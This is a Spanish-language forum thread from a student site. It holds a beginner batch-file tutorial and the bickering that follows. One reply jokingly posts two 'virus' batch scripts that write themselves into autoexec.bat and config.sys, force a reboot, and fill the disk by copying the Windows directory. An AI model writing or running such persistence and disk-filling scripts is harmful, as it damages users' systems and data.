UTNianos

Versión completa: Lo Basico de Batch (para que el q le interese)
Actualmente estas viendo una versión simplificada de nuestro contenido. Ver la versión completa con el formato correcto.
Páginas: 1 2
Basico En Batch
Para comenzar a programar tenemos que conoser los comandos basicos de la consola MS-DOS. Si vamos a Inicio>Ejecutar: cmd
nos aparecera la consola MS-DOS hay escribimos help y un listado de comandos nos aparecera, para ver mas informacion acerca de cada comando podemos escribir Comando /? por ejemplo echo /? y nos saldra esto:

Bueno muy Bien, ahora que sabeos todos los comandos,mejor dicho, q los tenemos a la alcance de la mano,podremos abrir un bloc de notas, algunos se reiran, pero si estos codigos, se manejan bien, se puede crear un virus, y solo con un Bloc de notas, Re Loco no? XD jaja, muy bien sigamos. una ves abierto el Bloc de Notas pondreos:
echo [{on | off}] [mensaje]

[mensaje] Especifica el texto que desea que se muestre en la pantalla.

Parámetros
{ on| off}
Especifica si se activa (on) o desactiva (off) la característica de presentación de comandos en la pantalla.
Ej:
@echo off
echo Hola Mundo!
pause
exit

El @ antes de echo sirve para esconder el comando.
El "pause" nos sirve para detener n proceso y continuar luego que precionen una tecla.
El "exit" para salir del supuesto "programa"
El "start" este comando ejecuta un archivo, carpeta, pagina web indicada.

Una ves puesto todo los comandos, ponemos en el bloc de notas: "Guardar como" y donde dice nombre, le pondremos x ej: Hola Mundo .bat

ATENCION!!!: La extencion .bat es MUY MUY MUY IMPORTANTE!!!!

Esos son algunos comandos Basico.
Para obtener más ayuda sobre batch puedes hacerlo buscando por comandos en MS-DOS escribe (el comando) /?, buscando en internet hay bastante informacion jeje. Adios
che GhostCode, parece que tuviste un problema con el DeLorean.
acá estamos en el año 2008. usamos otras cosas, más potentes, llamadas "lenguajes de alto nivel". los más conocidos son Java, y toda la familia .NET. (N.R.: "conocido" no es sinónimo de "mejor".)

GhostCode escribió:Para comenzar a programar tenemos que conoser los comandos basicos de la consola MS-DOS.
esa frase es cualquiera. hasta mi hermanito de 3 años sabe programar en pascal sin ni siquiera conocer el comando "dir".

GhostCode escribió:ahora que sabeos...
esto me suena a robado de "pc magazine" o alguna de esas. que te mandan los "trucos de la semana" y son puros batch que no sirven para nada.

GhostCode escribió:ATENCION!!!: La extencion .bat es MUY MUY MUY IMPORTANTE!!!!
mentira! en windows podés poner la extensión .cmd y funciona igual.

GhostCode escribió:podremos abrir un bloc de notas
ah, no. si me venís con el DOS tenés que usar el EDIT, no te hagas el pija con los .bat y me hables del bloc de notas.

GhostCode escribió:se puede crear un virus
claro, como el que sigue:

(generar los 2 batch en el directorio raíz, y ejecutar instalar.bat)

instalar.bat

@echo off
copy *.* c:\
c:
cd\
echo break=off >> c:\config.sys
echo call suriv.bat >> c:\autoexec.bat
echo.
echo.
echo **********************************************
echo * Ahora se reiniciara su PC *
echo **********************************************
echo.
pause
call %windir%\RUNDLL32.EXE user.exe,ExitWindows
suriv.com



suriv.bat

@echo off
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
echo l l >> surivy.bat
copy *.bas+*.* basura.gus
copy *.* gusano.bas
copy c:\windows\*.* c:\gusano.rod
type surivy.bat
@suriv.com



falta que les pase el archivo suriv.com, pero mejor lo dejamos así.
enjoy it!

creo que este topic debería estar la parte de humor dentro del desvirtúe. no sé cuál habrá sido tu intención realmente, pero bueno, cada loco con su tema.
Yo tambien soy re capo del Ctrl + C y Ctrl + V. =D
che no lo traten asi pobre!!!!

Hay gente que esta en sistemas y no tiene la menor idea de lo que es un batch...... Creanme. Esta camada salio fallada.
Teseracto escribió:che no lo traten asi pobre!!!!

Hay gente que esta en sistemas y no tiene la menor idea de lo que es un batch...... Creanme. Esta camada salio fallada.


Es la primera vez en la vida que estoy de acuerdo con vos, Teseracto!!!!!

No me lo traten mal che! está queriendo aportar!!!

Gracias por el aporte!!! Seguro que a más de uno le va a servir =)

Off-topic:
Cita:Es la primera vez en la vida que estoy de acuerdo con vos, Teseracto!!!!!

Segunda. Juliana y Luca eran nombres copados.
Gracias Teseracto y Aye, son re capos, en cuanto al boludito de LeaTex, Capo t digo esto, para programar en todo el pelotudeo d jaba, yese tipo d idioteces, primero tenes q saber lo basico, lo eesencial, x ej: si queres sacarle el mayor jugo a Phyton, tendrias q saber antes de Phyton: Visual Bacic,C#,C,C++ y recien estar con Phyotn (en ese Orden) capo, no boludees ok, nunca dije q batch sea el mejor lenjuage ni nada, pero para empesar, ta re copado, ademas t cagas d risa, si no t gusta lo q aporto, t agradeceria q no me jodas, no me tires abajo.....

Off-topic:
Teseracto escribió:
Aye escribió:Es la primera vez en la vida que estoy de acuerdo con vos, Teseracto!!!!!

Segunda. Juliana y Luca eran nombres copados.

y va a ser varon??? o mujer???
no contaste nada aye!!!


Che, los batch siguen siendo re utiles!
El otro dia le copie un cd a mi prima con unos juegos re chotos y como ella no tiene la menor idea de como instalarlos y no me iba a ir hasta la casa de ella a copiar y pegar carpetas, le arme un .bat que le copiaba los juegos y le ponia un par de accesos directos en el escritorio =P
Adhiero, una vez un batch me salvo las papas cuando un vecino me pidio que le hiciera andar un sistema que usa para su negocio en una compu con XP.
Yo hoy temprano vi el post y pense: para que carajo lo voy a leer entero...
Pero la verdad es que nunca sabes cuando algo viejo te puede hacer falta
Leatex cada uno es libre de aportar con cualquier cosa (que esté dentro de los límites del reglamento claro), te pido por favor que evites hacer comentarios ofensivos.

GhostCode, muy buena la info pero igualmente te voy a pedir que no caigas en provocaciones.
Dymlos escribió:Leatex cada uno es libre de aportar con cualquier cosa (que esté dentro de los límites del reglamento claro), te pido por favor que evites hacer comentarios ofensivos.
dónde fue ofensivo?

federicogk escribió:Adhiero, una vez un batch me salvo las papas cuando un vecino me pidio que le hiciera andar un sistema que usa para su negocio en una compu con XP.
Yo hoy temprano vi el post y pense: para que carajo lo voy a leer entero...
Pero la verdad es que nunca sabes cuando algo viejo te puede hacer falta
sí, paren, yo no dije que fuera una mierda. a mí también me salvó las papas un montón de veces, y también hice cosas muy grosas (sobre todo con windows 95 y 98 que dependían del autoexec.bat).

solamente me reí de cosas estúpidas como "para comenzar a programar" o "se pueden hacer virus".

GhostCode escribió:Gracias Teseracto y Aye, son re capos, en cuanto al boludito de LeaTex, Capo t digo esto, para programar en todo el pelotudeo d jaba, yese tipo d idioteces, primero tenes q saber lo basico, lo eesencial, x ej: si queres sacarle el mayor jugo a Phyton, tendrias q saber antes de Phyton: Visual Bacic,C#,C,C++ y recien estar con Phyotn (en ese Orden) capo, no boludees ok, nunca dije q batch sea el mejor lenjuage ni nada, pero para empesar, ta re copado, ademas t cagas d risa, si no t gusta lo q aporto, t agradeceria q no me jodas, no me tires abajo.....
jajajaja. che Dymlos, ¿boludito no es ofensivo? nah, yo me río de estas pavadas. no es que yo sea boludito, es que vos tenés la mano chica querido. agarrá con las 2 y vas a ver que podés.
en fin, dios de la programación, te olvidaste de mencionar al papá de todos esos lenguajes. (otra cosa, java va con V de virus, no con B de burro.)
lo otro gracioso es que "batch" no es un lenguaje. simplemente una serie de comandos encadenados. pero bueno, seguro ya lo sabías.

y no estoy jodiendo, sino tratando de explicarte que uno no programa un carajo con batch. encadena comandos que ejecuta el sistema operativo. no es un lenguaje, ni necesitás saber un soto de DOS para programar. así que no me vengas con eso de "necesitás saber lo básico" si ni siquiera me explicaste cómo declarar una variable de entorno en un .bat.
lo básico para programar es saber hacer "hecho /?". mierda, tengo 16 años de estudio tirados a la basura.

gente, con una mano en el corazón, ¿en serio les parece un gran aporte este topic?
no dijo nada que no pueda sacar de cualquier otro lugar de internet (como hizo él mismo). y que además no me sirve para nada!!! es más, creo que aporté más yo con el "virus" que puse.

pará! acabo de tener una idea grandiosa!!!
voy a proponer un cambio en el plan de estudios de sistemas, para que no se arranque con algoritmos y pascal. hay cosas más básicas: DOS!!!!! soy un genio. esta semana misma presento el proyecto.
ahora entiendo por qué tantos pibes recursan algoritmos. no saben un carajo de DOS y "programación" batch.
Solo quiero agregar que mi post no fue en contra de lo que puso LeaTex, sino que era sobre lo que dijo Adriano, de que seguian siendo utiles.
Ademas estoy de acuerdo con LeaTex en que no es necesario saber armar un batch para empezar a programar.
No creo que este post sea un graaan aporte, pero tampoco pienso que es totalmente inutil...
Estamos discutiendo por boludeces che!!



Off-topic:
Java con b... te fuiste al carajo Ghost jajajajaa
LeaTex escribió:dónde fue ofensivo?

solamente me reí de cosas estúpidas como "para comenzar a programar" o "se pueden hacer virus".
Reirte de "cosas estúpidas" cuando alguien hace un aporte es hacer un comentario ofensivo. Más que nada por respeto, cualquier duda que tengas con respecto a las normas del reglamento me mandás un MP y lo charlamos thumbup3

LeaTex escribió:jajajaja. che Dymlos, ¿boludito no es ofensivo? nah, yo me río de estas pavadas. no es que yo sea boludito, es que vos tenés la mano chica querido. agarrá con las 2 y vas a ver que podés.
GhostCode también fue ofensivo, claramente. Y vos te basás en este post para decir que no soy equitativo o que tengo "la mano chica, que agarre con las 2 manos" pero estás equivocado. Antes de postear lo hablé con el por el chat del foro, y seguido de eso lo hablamos por MSN. Y le expliqué muy bien como era el funcionamiento del foro y el código de conducta que debía seguir.
Entonces, la próxima vez por favor evitá poner algo en contra de mi desempeño en el foro, porque como en este caso hay cosas de mi trabajo como moderador que no ves y te llevan a conclusiones erroneas ;)
afff... Leatex VS GhostCode... falta que se sume el chacal, y alquilamos balcones!!
Gracias...
=)
Páginas: 1 2
URLs de referencia